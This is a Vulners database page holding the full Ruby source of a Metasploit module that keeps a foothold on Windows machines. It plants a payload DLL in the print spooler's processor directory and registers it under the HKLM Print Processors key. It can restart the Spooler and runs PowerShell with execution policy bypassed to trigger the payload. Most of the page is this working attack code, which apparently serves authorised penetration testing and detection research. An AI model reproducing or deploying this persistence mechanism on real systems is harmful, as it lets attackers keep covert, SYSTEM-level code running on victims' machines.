Lucene search
+L

Windows Print Processor Persistence

🗓️ 05 Oct 2020 00:00:00Reported by Emanuele CervelliType 
metasploit
 metasploit
🔗 www.rapid7.com👁 9 Views

Metasploit module for Windows persistence via Print Processor DLL loaded by Print Spooler.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Services
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Local::Persistence

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Print Processor Persistence',
        'Description' => %q{
          This module establishes persistence by registering a malicious Print Processor DLL
          under HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\<arch>\Print Processors.
          The Print Spooler service loads configured processor DLLs at startup, causing payload
          execution when the spooler service starts (for example, on boot).

          This module implements the manual registry method (not the AddMonitor API method).
          It writes the payload DLL to the print processor directory and requires SYSTEM or admin
          privileges to write to that directory and modify HKLM. The spooler service is briefly
          stopped and restarted to activate the registered processor.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Emanuele Cervelli',
        ],
        'Platform' => [ 'win' ],
        'Arch' => [ARCH_X64, ARCH_X86],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1547_012_PRINT_PROCESSORS],
          ['URL', 'https://hadess.io/the-art-of-windows-persistence/']
        ],
        'DefaultTarget' => 0,
        # Date the technique was published on MITRE ATT&CK (T1547.012)
        'DisclosureDate' => '2020-10-05',
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
      OptString.new('PROCESSOR_NAME', [false, 'Name of the print processor registry key to create. Random string by default.']),
      OptBool.new('RESTART_SPOOLER', [true, 'Restart the Print Spooler service to trigger processor loading immediately.', false])
    ])
  end

  def target_dir
    base = session.sys.config.getenv('WINDIR') + '\\System32\\spool\\prtprocs'
    sysinfo['Architecture'] == ARCH_X64 ? "#{base}\\x64" : "#{base}\\w32x86"
  end

  def env_key
    sysinfo['Architecture'] == ARCH_X64 ? 'Windows x64' : 'Windows NT x86'
  end

  def check
    return CheckCode::Unknown('Admin or SYSTEM privileges are required') unless is_system? || is_admin?
    return CheckCode::Unknown("Target directory #{target_dir} does not exist") unless directory?(target_dir)
    return CheckCode::Unknown("#{target_dir} isn't writable") unless writable?(target_dir)

    spooler = service_info('Spooler')
    return CheckCode::Safe('Spooler service not found') if spooler.nil?

    CheckCode::Appears('Target appears vulnerable to Print Processor persistence')
  end

  def install_persistence
    fail_with(Failure::NoAccess, 'Admin or SYSTEM privileges are required') unless is_system? || is_admin?

    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(8)
    payload_name += '.dll' unless payload_name.downcase.end_with?('.dll')
    payload_dll = generate_payload_dll
    payload_pathname = "#{target_dir}\\#{payload_name}"

    vprint_status("Writing payload to #{payload_pathname}")
    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_dll)
    print_good("Payload DLL written to #{payload_pathname}")

    processor_name = datastore['PROCESSOR_NAME'] || Rex::Text.rand_text_alpha(8)
    reg_key = "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\#{env_key}\\Print Processors\\#{processor_name}"

    unless registry_createkey(reg_key)
      rm_f(payload_pathname)
      fail_with(Failure::UnexpectedReply, "Failed to create registry key: #{reg_key}")
    end

    unless registry_setvaldata(reg_key, 'Driver', payload_name, 'REG_SZ')
      registry_deletekey(reg_key)
      rm_f(payload_pathname)
      fail_with(Failure::UnexpectedReply, "Failed to write registry value: #{reg_key}\\Driver")
    end

    print_good('Registry key written')

    if datastore['RESTART_SPOOLER']
      vprint_status('Attempting to restart Spooler service for immediate payload trigger...')
      if service_restart('Spooler')
        print_good('Spooler service restarted successfully')

        print_status('Executing Add-Printer command...')
        printer_name = Rex::Text.rand_text_alpha(8)
        create_process('powershell', args: [
          '-NoProfile',
          '-ExecutionPolicy', 'Bypass',
          '-Command',
          "Add-Printer -Name '#{printer_name}' -PortName 'FILE:' -DriverName 'Microsoft Print To PDF' -PrintProcessor '#{processor_name}'"
        ], opts: { 'Channelized' => false })
      else
        print_warning('Unable to cleanly restart Spooler service automatically.')
      end
    end

    @clean_up_rc << "execute -f cmd.exe -a '/c wmic printer where name=\"#{printer_name}\" delete' -H\n"
    @clean_up_rc << "execute -f cmd.exe -a '/c net stop spooler' -i -H\n"
    @clean_up_rc << "execute -f cmd.exe -a '/c taskkill /F /IM spoolsv.exe' -i -H\n"
    @clean_up_rc << "execute -f cmd.exe -a '/c del \"#{payload_pathname}\"' -i -H\n"
    @clean_up_rc << "reg deletekey -k '#{reg_key}'\n"
    @clean_up_rc << "execute -f cmd.exe -a '/c net start spooler' -H\n"
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2020 00:00Current
5.8Medium risk
Vulners AI Score5.8
9